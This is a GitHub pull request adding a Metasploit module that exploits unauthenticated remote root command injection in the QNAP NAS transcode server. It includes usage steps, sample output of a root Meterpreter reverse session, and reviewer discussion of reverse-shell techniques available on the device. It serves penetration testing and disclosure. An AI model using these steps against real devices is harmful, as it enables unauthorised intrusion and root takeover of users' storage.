Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add QNAP Transcode Server Command Execution exploit module #8827

Merged
merged 3 commits into from Aug 23, 2017

Conversation

@bcoles
Copy link
Contributor

bcoles commented Aug 13, 2017

This PR adds an unauthenticated remote root command injection exploit for the transcoding server enabled by default on QNAP NAS devices.

    This module exploits an unauthenticated remote command injection
    vulnerability in QNAP NAS devices. The transcoding server listens
    on port 9251 by default and is vulnerable to command injection
    using the 'rmfile' command.

    This module was tested successfully on a QNAP TS-431 with
    firmware version 4.3.3.0262 (20170727).

Verification

  • Start msfconsole
  • Do: use exploit/linux/misc/qnap_transcode_server
  • Do: set RHOST [IP]
  • Do: set LHOST [IP]
  • Do: run
  • You should get a session

Example Output

msf > use exploit/linux/misc/qnap_transcode_server 
msf exploit(qnap_transcode_server) > set rhost 10.1.1.123
rhost => 10.1.1.123
msf exploit(qnap_transcode_server) > check
[*] 10.1.1.123:9251 The target service is running, but could not be validated.
msf exploit(qnap_transcode_server) > set lhost 10.1.1.197
lhost => 10.1.1.197
msf exploit(qnap_transcode_server) > run

[*] Started reverse TCP handler on 10.1.1.197:4444 
[*] 10.1.1.123:9251 - Using URL: http://0.0.0.0:8080/IQrgbm
[*] 10.1.1.123:9251 - Local IP: http://10.1.1.197:8080/IQrgbm
[*] 10.1.1.123:9251 - Sent command successfully (52 bytes)
[*] 10.1.1.123:9251 - Waiting for the device to download the payload (30 seconds)...
[*] 10.1.1.123:9251 - Sent command successfully (22 bytes)
[*] 10.1.1.123:9251 - Sent command successfully (13 bytes)
[*] Meterpreter session 1 opened (10.1.1.197:4444 -> 10.1.1.123:53888) at 2017-08-13 05:05:18 -0400
[*] 10.1.1.123:9251 - Sent command successfully (19 bytes)
[*] 10.1.1.123:9251 - Command Stager progress - 100.00% done (109/109 bytes)
[*] 10.1.1.123:9251 - Server stopped.

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo 
Computer     : 10.1.1.123
OS           :  (Linux 3.2.26)
Architecture : armv7l
Meterpreter  : armle/linux
@sempervictus

This comment has been minimized.

Copy link
Contributor

sempervictus commented Aug 13, 2017

Awesome, thank you sir. Do we have a shell payload option for the arch? Meterp transport is in flux right now, so might be nice to add that. Maybe also an openssl double or a plain shell rev_tcp?

@wvu-r7 wvu-r7 self-assigned this Aug 14, 2017
@wvu-r7 wvu-r7 added the feature label Aug 14, 2017
bcoles added 2 commits Aug 15, 2017
@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented Aug 15, 2017

@sempervictus I decided against supporting unix/cmd style payloads.

I believe meterpreter is preferred over CMD payloads where possible. A lot of the modules for embedded devices only support meterpreter.

There's also a whole bunch of characters which are filtered which makes parsing CMD payloads annoying.

That said, I know reverse bash CMD works on QNAP from shellsheck days. The openssl, awk and python binaries are also present. There's also the BusyBox telnetd technique.

There's no nc or netcat binary, although a pre-compiled binary could be dropped easily enough.

Also worth noting that there's also no base64 binary.

@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented Aug 15, 2017

As an aside, it would be nice if there was a way to determine when the payload has been downloaded, rather than using Rex.sleep. A bunch of modules make use of DELAY or HTTP_DELAY options for this purpose.

# grep -rl "DELAY" modules/exploits/ | wc -l
40

I know it's possible to detect the connect back with on_client_connect or on_request_uri, but as far as I know there's no easy and reliable way to determine when the download is complete, ie. on_client_disconnect.

@bcoles bcoles added docs and removed needs-docs labels Aug 15, 2017
@sempervictus

This comment has been minimized.

Copy link
Contributor

sempervictus commented Aug 15, 2017

@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented Aug 15, 2017

What does the Python meterpreter give us that the native compiled ARMLE meterpreter does not?

@0x00string

This comment has been minimized.

Copy link

0x00string commented Aug 15, 2017

awesome

wvu-r7 added a commit to wvu-r7/metasploit-framework that referenced this pull request Aug 23, 2017
@wvu-r7 wvu-r7 merged commit 60f7534 into rapid7:master Aug 23, 2017
1 check passed
1 check passed
continuous-integration/travis-ci/pr The Travis CI build passed
Details
@wvu-r7

This comment has been minimized.

Copy link
Member

wvu-r7 commented Aug 23, 2017

Thanks!!

@bcoles bcoles deleted the bcoles:qnap_transcode_server branch Aug 23, 2017
@tdoan-r7 tdoan-r7 added the rn-exploit label Aug 30, 2017
@tdoan-r7

This comment has been minimized.

Copy link
Contributor

tdoan-r7 commented Aug 30, 2017

Release Notes

An exploit that targets an unauthenticated remote command injection vulnerability in QNAP NAS devices has been added to framework. The transcoding server listens on port 9251 by default and is vulnerable to command injection using the 'rmfile' command.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Linked issues

Successfully merging this pull request may close these issues.

None yet

5 participants
You can’t perform that action at this time.